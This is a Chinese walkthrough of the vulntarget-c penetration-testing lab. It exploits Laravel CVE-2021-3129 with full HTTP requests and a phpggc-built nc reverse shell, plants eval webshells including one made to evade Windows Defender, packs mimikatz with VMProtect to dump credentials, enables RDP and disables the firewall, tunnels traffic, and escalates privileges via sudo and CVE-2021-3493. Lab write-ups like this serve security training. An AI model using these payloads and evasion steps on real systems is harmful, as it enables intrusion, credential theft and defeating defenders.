环境

相关漏洞技术:laravel、OVAS-PHP相关漏洞、隧道代理、免杀、提权、CVE-2021-3129
、CVE-2021-3493等
下载地址:
百度云链接:
https://pan.baidu.com/s/1p3GDd7V3Unmq3-wSAvl7_Q
提取码: 1p9p

其中vulntarget-c是本次环境

github地址:

https://github.com/crow821/vulntarget

拓扑图

image-20221129102253692

vm网卡配置

将百度网盘的靶场c下载下来,使用vm打开,我们先编辑一下虚拟网卡网段

image-20221129102606686

这里要注意不勾选将主机虚拟连接到此网络,如果勾选的话,你会发现,我们直接能从主机ping到10,20段,这样就不是内网了。

第一台是ubuntu20

image-20221129102818958

第二台win2016

image-20221129102845711

第三台ubuntu16

image-20221129102914418

设置好之后开机,但是还是有一点问题,默认作者配置的时候给到的是静态ip30段的,我们需要改一下,我这边net是144段的,所以我们给网卡一个144段的静态IP就可以了

账密1:vulntarget/root
账密2:root/root#qwe

用root账号登录一下,改掉网卡配置

1
2
3
4
5
su
root#qwe
vim /etc/netplan/00-installer-config.yaml #编辑网卡配置文件
:wq
netplan apply #重启网卡

image-20221129103520466

image-20221129103635589

这里注意网关也改一下,当然这里网卡不唯一,我这样后面比较简单不需要改网卡配置文件了

我们简单扫一下image-20221129104349743

可以看到55的ip开着80和22,访问一下

image-20221129104507816

至此在vm上环境搭建已经完成

laravel渗透-CVE-2021-3129

我们可以看到是一个laravel的框架网站,既然靶场,那肯定存在漏洞,在右下角我们也可以看到Laravel v8.78.1 (PHP v7.4.3),那肯定是复现laravel历史漏洞了。网上搜一下版本号,(可以看到其他佬发的这个靶场wp,确定CVE-2021-3129),发现是2021-3129,反正我是没有发现,因为看文章都是说影响版本在Laravel<=8.4.2,https://www.freebuf.com/vuls/280508.html,但是靶机环境在8.78,也有可能是,Ignition(<=2.5.1),这个插件的版本的问题,这个文章说的,https://mp.weixin.qq.com/s/k08P2Uij_4ds35FxE2eh0g
emmmm就当发现了吧。我们去复现一下。

首先肯定是github找各种poc,我也找了各种poc,都打了一遍,emmmm,都没打通,不是php报错就是not fund rce ,可能是kali的问题,没有去其他系统测试,有兴趣的小伙伴测试一下。

http://wiki.peiqi.tech/wiki/frame/Laravel/Laravel%20Debug%E6%A8%A1%E5%BC%8F%20_ignition%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CVE-2021-3129.html
https://github.com/SNCKER/CVE-2021-3129
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

image-20221129174149286

image-20221129174203408

这几个poc都试了一下,没有打通,没有关系,我们手工复现一下。
参考下面这篇文章

https://www.freebuf.com/vuls/280508.html
具体原理这里就不赘述了,直接打

先访问网站,抓包,然后我们可以看到包里有许多内容,把下面的删掉,然后只留四行

image-20221129175857744

image-20221129180059768

1
2
3
4
5
6
7
8
9
10
11
12
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.144.55
Content-Type: application/json
Content-Length: 168

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "xxxxxxx"
}
}

可以看到能够执行,

下载GitHub上下载的docker环境中带有exp,使用此exp需要下载phpggc

git clone https://github.com/ambionics/phpggc.git

改一下777的权限,下面生成poc的时候会用到

这里我们生成poc。要到刚刚phpggc目录下,上面那篇文章中已经有phpinfo了,跟着复现就行了,亲测phpinfo没有问题。因为我上面exp脚本都不能用,所以想着搜一个手工复现的打webshell的方法,奈何网上的方法都只到phpinfo就结束了,并没有生成webshell的,因为这里面我们打一遍phpinfo之后,日志文件会重新生成,🐎并不会留着日志里,所以我们要有一个反弹shell的方法,或者生成webshell,经过测试,太菜了,fileputcontent没有成功,echo也没有成功,但是没给poc,我们自己打一下

这里是反弹shell的,

1
2
3
php7.4 -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.144.128 9999 >/tmp/f');phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"


image-20221129182228006

生成一串码,

上面已经证明漏洞存在

然后bp发包,清空日志

1
2
3
4
5
6
7
8
9
10
11
12
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.144.55
Content-Type: application/json
Content-Length: 328

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
```

![image-20221129201015519](/images/vulntarget-e/image-20221129201015519.png)

发送如下数据包,给Log增加一次前缀,用于对齐:

```http
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.144.55
Content-Type: application/json
Content-Length: 163

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "AA"
}
}

image-20221129201219036

将POC作为viewFile的值,发送数据包,这里最后有个a别忘了。

1
2
3
4
5
6
7
8
9
10
11
12
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.144.55
Content-Type: application/json
Content-Length: 5514

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=63=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=6D=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=54=00=67=00=36=00=49=00=6A=00=77=00=2F=00=63=00=47=00=68=00=77=00=49=00=48=00=4E=00=35=00=63=00=33=00=52=00=6C=00=62=00=53=00=67=00=6E=00=63=00=6D=00=30=00=67=00=4C=00=33=00=52=00=74=00=63=00=43=00=39=00=6D=00=4F=00=32=00=31=00=72=00=5A=00=6D=00=6C=00=6D=00=62=00=79=00=41=00=76=00=64=00=47=00=31=00=77=00=4C=00=32=00=59=00=37=00=59=00=32=00=46=00=30=00=49=00=43=00=39=00=30=00=62=00=58=00=41=00=76=00=5A=00=6E=00=77=00=76=00=59=00=6D=00=6C=00=75=00=4C=00=33=00=4E=00=6F=00=49=00=43=00=31=00=70=00=49=00=44=00=49=00=2B=00=4A=00=6A=00=46=00=38=00=62=00=6D=00=4D=00=67=00=4D=00=54=00=6B=00=79=00=4C=00=6A=00=45=00=32=00=4F=00=43=00=34=00=78=00=4E=00=44=00=51=00=75=00=4D=00=54=00=49=00=34=00=49=00=44=00=6B=00=35=00=4F=00=54=00=6B=00=67=00=50=00=69=00=39=00=30=00=62=00=58=00=41=00=76=00=5A=00=69=00=63=00=70=00=4F=00=33=00=42=00=6F=00=63=00=47=00=6C=00=75=00=5A=00=6D=00=38=00=6F=00=4B=00=54=00=73=00=67=00=5A=00=58=00=68=00=70=00=64=00=44=00=73=00=67=00=50=00=7A=00=34=00=69=00=4F=00=33=00=31=00=39=00=66=00=51=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=42=00=55=00=33=00=59=00=56=00=6A=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=6B=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=58=00=4B=00=7A=00=69=00=57=00=53=00=2F=00=6A=00=41=00=76=00=55=00=64=00=4F=00=41=00=44=00=44=00=62=00=34=00=4C=00=69=00=43=00=56=00=2B=00=66=00=6D=00=74=00=77=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
}
}

image-20221129201330580

发送如下数据包,清空对log文件中的干扰字符,只留下POC:返回200

1
2
3
4
5
6
7
8
9
10
11
12
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.144.55
Content-Type: application/json
Content-Length: 299

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}

image-20221129201505852

使用phar://进行反序列化,执行任意代码(有的文章说相对路径,有的绝对路径,这里笔者觉得还是相对路径好用,绝对路径没出,如果想用绝对路径,上面500报错哪里有路径,我们这里使用相对吧):这里要先nc监听一下
nc -lvnp 9999shell就过来了,

1
2
3
4
5
6
7
8
9
10
11
12
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.144.55
Content-Type: application/json
Content-Length: 204

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "phar://../storage/logs/laravel.log/test.txt"
}
}

image-20221129201932533

这里我们就拿到shell了,但是传文件可能不太好用,要反向下载,我们这里到web跟路径写个🐎后面方便传文件下载啥的。需要注意,这个执行就只能执行一次,上面已经说过了,日志文件会被覆盖,所以如果没打成功就要重新来一遍,而且第一次清空日志的时候一定要返回200才算清空成功。

1
2
3
4
5
cd /var/www/html/public
echo '<?php eval($_POST[g]);?>' > a.php
cat a.php
http://192.168.144.55/a.php
g

image-20221129203359747

信息收集一波,环境并没有装net-tools,没有ifconfig ,所以我们ip a 也可以查看ip,两块网卡,内网还有一个20的段

image-20221129203818846

然后上个lse 或者linux-exploit-suggester-master 进行提权一下,当然不提也没关系,不影响后面。这里笔者把上面两个提权辅助工具都跑了一下,并没有发现什么好的提权方法,看了眼wp,说有弱口令。那肯定是看passwd文件,知道用户名vulntarget,然后爆破一下。

image-20221129211426271

那这样的话,连上去就可以了。我们这里还是用蚁剑吧

image-20221129213522722

./fscan_amd64 -h 10.0.20.141/24 -o a.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
./fscan_amd64 -h 10.0.20.141/24 -o a.txt
10.0.20.141:80 open
10.0.20.141:22 open
[*] WebTitle:http://10.0.20.141 code:200 len:7 title:Laravel
[+] InfoScan:http://10.0.20.141 [Laravel]


似乎并没有扫到内网,因为这台是win的机器,可能是防火墙的作用。我们加个np 禁ping扫

./fscan_amd64 -h 10.0.20.141/24 -pn -o s.txt
10.0.20.141:22 open
10.0.20.100:80 open
10.0.20.141:80 open
10.0.20.100:443 open
[*] WebTitle:https://10.0.20.100 code:403 len:301 title:403 Forbidden
[*] WebTitle:http://10.0.20.141 code:200 len:7 title:Laravel
[+] InfoScan:http://10.0.20.141 [Laravel]
[*] WebTitle:http://10.0.20.100 code:200 len:42 title:Online Veterinary Appointment System - PHP

可以看到还有一个100的机器,且开了80并且是一个winserver,挂代理访问

那么直接上代理,这里笔者上ew,把内网带出来。拖个ew上去,改一下777权限.当然其他代理软件也行,不唯一

1
./ew_for_linux64 -s ssocksd -l 8887

image-20221129215012297

image-20221129215310468

用proxifier加个servers地址写外网地址,端口写代理端口

新加一个规则,我们写通往20的段,走代理

image-20221129215644648

image-20221129215733868

我们可以看到能成功访问20段ip了。

记一个坑:我在上完ew后启动了之后使用谷歌带的那个插件[SwitchyOmega] 也加了一个代理,然后去访问这个网站,前几次还行,三五条访问之后这个链路就挂了,

linux中ew报Segmentation fault (core dumped) 先开始我以为是ew版本不对或者蚁剑执行命令的问题,因为以前没有出现过这个情况,我又去shell里测了一下,发现,浏览器可能有插件可能会访问谷歌或者其他外网,然后就停掉了。我用了proxifier只加目标地址段没有出现任何问题。可能是访问外网的原因。没关系,解决了就好了

image-20221129221150992

OVAS - PHP 漏洞拿shell,免杀df

开局给到一个cms,刚开始打的时候,我去google了一圈也找到利用的方法,甚至连提到这个cms的文章都很少,(除了其他佬写的wp),就去扫了目录看看有啥提示。然后回来再看看发现右上角有个adminlogin ,试着抓包看一下,我们看到username,password都是明文且没有验证码,存在爆破的条件,我们加载字典爆破一下。爆破成功admin,admin123

image-20221129221707205

image-20221129221813516

我们登录后台,那肯定是想办法拿shell了,看看有没有啥上传点,经过测试在settings中我们可以利用,settings中在welcome中添加一个图片,然后在随便选一个图片,点最下面update提交

image-20221130103146247

然后在你插的那张图片中的base64编码中插入一句话,在最开始没看wp的时候,我就写了简单的phpinfo是没有问题的,我上传普通一句话木马,文件就报错,主页面显示include错误,以为是哪里打错了,网站崩了,后来发现并不是,我登上去win发现,win上开的有df,直接把我的🐎儿杀了,phpinfo不杀,不过也没关系,df对webshell查杀的能力比较差,网上随便找个简单免杀就能过。这里笔者提供一个。既然登上去了,笔者就把df更新到最新版了,这个🐎儿依然能用。下面都是基于做新版的df,time-22.11.28

image-20221130200829649

1
2
3
4
5
6
7
<?php 
function bohemian()
{
return "/*bohemian*/".$_POST['g']."/*bohemian**/";
}
@eval(bohemian());phpinfo();
?>

image-20221130104355866

这里把包发过去就可以了,里面有个phpinfo 我们方便查看,去到主页看看

image-20221130103829535

image-20221130110109643

没有问题,蚁剑连一下。成功拿到shell

image-20221130110051787

上来就能看到system权限,且有两块网卡,内部还有一个10的段

image-20221130110251974

信息收集一波我们知道是开着df的先去桌面翻翻看,桌面上没有什么东西,但是这个目录C:/Users/Administrator/有个flag文件,内容vulntarget{VGhlIGhvc3QgcGFzc3dvcmQgbWF5IGJlIHVzZWQgZm9yIG90aGVyIHB1cnBvc2Vz} +_+典型的base64 解一下,The host password may be used for other purposes笔者工地英语翻一下,大致的意思是这个电脑的密码会被用到其他地方。那么我们肯定去抓密码了。那就在这网站路径下穿个mimikatz,当然我们传上去肯定秒杀,df对mimikatz非常敏感的,这里我们呢去做一个简单免杀。

如果想深入研究mimikatz的免杀,参考这位佬的文章,Mimikatz的18种免杀姿势及防御策略https://www.freebuf.com/news/234365.html

这里笔者提供一种非常简单的免杀操作,就是加壳,非常简单拿工具去生成一个就行。

当然这里免杀的操作其实都可以不做,为什么呢,因为上面其实我们已经是system权限了,我们其实把df关掉就行,但是这里是靶场,联系一下没有坏处

下面我们先对mimikatz免杀,打开VMProtect,选择mimikatz就行了,他就会编译了,然后会生成mimikatzvm.vmp.exe,把这个传上去就行了

image-20221130112521657

image-20221130112528427

这里没有交互式shell我们用mimikatz抓的话,直接导出结果就行

mimikatzvm.vmp.exe "sekurlsa::logonpasswords" exit > s.txt

1
2
3
4
5
6
7
8
msv :	
[00000005] Primary
* Username : Administrator
* Domain : WIN-JJJBQ4N87RA
* NTLM : dfc8d2bfa540a0a6e2248a82322e654e
* SHA1 : cfa10f59337120a5ea6882b11c1c9f451f5f4ea6


dfc8d2bfa540a0a6e2248a82322e654e
ntlm
Admin#123

md5网站解一下就有了,

我们在上个fscan扫下下个网段,上个win的,这里上传上去直接报毒了,然后杀掉了

image-20221130201732733

没关系,有个师傅二开了fscan的,https://github.com/h0nayuzu/Fscan_BaihuaSec/releases我们去试一下,

这个文件有点大,20多m,蚁剑超时的话就上传失败了,我们改一下超时时间,改大点

image-20221130202142743

笔者在这里上传成功了,但是不能用,笔者又传了一遍,这样的话三次了,全部叠加了一起并没有覆盖,我们从新改个名字传,或者删了又传了几遍,还是没成功,可能是代理的问题,文件有点大,作者说了,这里打包出来的fscan就是这么大没有压缩,可以自己压缩,upx压一下,或者上面那个工具,我们试下godzilla大文件上传

image-20221130202622434

image-20221130202834288

这里小tip,哥斯拉是可以连接一句话的。所以直接连就行

image-20221130204635575

这里哥斯拉传上来没有问题,图没截

image-20221130205528351

.\fscan_win_amd64.exe -h 10.0.10.0/24 -o r.txt

image-20221130205706916

我们可以看到有个20的段 110的ip只开了22端口,显然是台linux了,估计又是弱口令,或者漏洞了。

正常思路是上ew,然后打后一个网端,但是这里不是这样的,我们要获取远程桌面,开下3389其实这样做在实战中是非常危险的,容易被发现。不过这里还是先要这样操作。

我们先cmd把3389开了REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

image-20221130210751420

打开之后直接登录就行了,administrator/Admin#123

image-20221130210947108

哦对了,其实还是连不上,防火墙开着,我们再把防火墙关了

netsh advfirewall set allprofiles state off\

image-20221130211126227

就连上来了

image-20221130211216240

下面有一个moba,我们打开是要密码的,然后输一下刚刚administrator的密码,上面flag说了,密码会用到其他地方,

image-20221130211247112

moba利用、cve_2021_3493

非预期

直接就可以连上来,我们可以看到是一个vulntarget的普通用户,那肯定是想办法提权,上lse等等,这边笔者提供两个方法,一个是预期解和一个非预期解,非预期解是一个简单的提权方法,有很多机器如果你有了一个普通的可以登录的账户可以试试这个,屡试不爽。sudo漏洞

1
2
3
4
sudo man man
输入这个用户的密码

出去就是root了

image-20221130211440233

但是这里我们并不知道vulntarget的密码,因为上面进来的时候是输入的moba的安全密码,并不是ssh的密码,但是这里是可以看到的,依次点击settings->configuration->mobapasswords->show passs->这个pass就是moba的安全密码,

image-20221130212059351

image-20221130212240621

右面就会显示密码了,vuln@qwe好接下来sudo提权

sudo man man

vuln@qwe

!

回车

image-20221130212542320

image-20221130212417710

image-20221130212706685

至此就拿下了最后一台靶机,root下有个flag,find /* -name "*flag*"

image-20221130213029531

瞅一眼,

root@ubuntu:~# cat /root/flag
Congratulations on winning the final flag

vulntarget{cve_2021_3493_local_privilege_promotion_overlayfs}

可以看到有一个2021_3493,是那个提权漏洞。

笔者这里跑了一下root密码,没出,emmmmm

image-20221130220156785

以上就是非预期解,下面是预期解

git clone https://github.com/briskets/CVE-2021-3493

cd进去

找一台ubuntu去克隆一下这个exp项目,这里注意若是在kali上编译,拿出来去目标机上执行会报错,找不到so文件。

gcc exploit.c -o exploit

编译一下,拖出来到目标机上,这里拖到win上会报毒,我这里直接把df关掉吧,如果不想关了,就打个tar包,到目标机上在解压,rdp不能拖的话,可以复制粘贴,

image-20221130215219417

这样也拿下了这台机器。至此整个靶场就打完了。

参考

参考文章

1
2
3
4
5
6
https://github.com/crow821/vulntarget #靶场官方地址
https://mp.weixin.qq.com/s/cisoqDnsHqyzCFdx-eG5TQ #作者的搭建与打靶记录
https://www.freebuf.com/articles/web/333566.html #vulntarget漏洞靶场系列(三):vulntarget-c
https://cloud.tencent.com/developer/article/1171183 #九种姿势运行Mimikatz
https://www.freebuf.com/news/234365.html #Mimikatz的18种免杀姿势及防御策略
https://www.freebuf.com/vuls/280508.html #Laravel RCE(CVE-2021-3129)漏洞复现

用到工具

1
2
3
4
5
6
VMProtect Ultimate 3.4.0加壳软件
https://pan.baidu.com/s/1VXaZgZ1YlVQW9P3B_ciChg 提取码: emnq
此百度网盘原链在`https://www.freebuf.com/news/234365.html`中

二开fscan
https://github.com/h0nayuzu/Fscan_BaihuaSec/releases

最后

因为个人能力有限,文章中若有错误,敬请斧正
一直在路上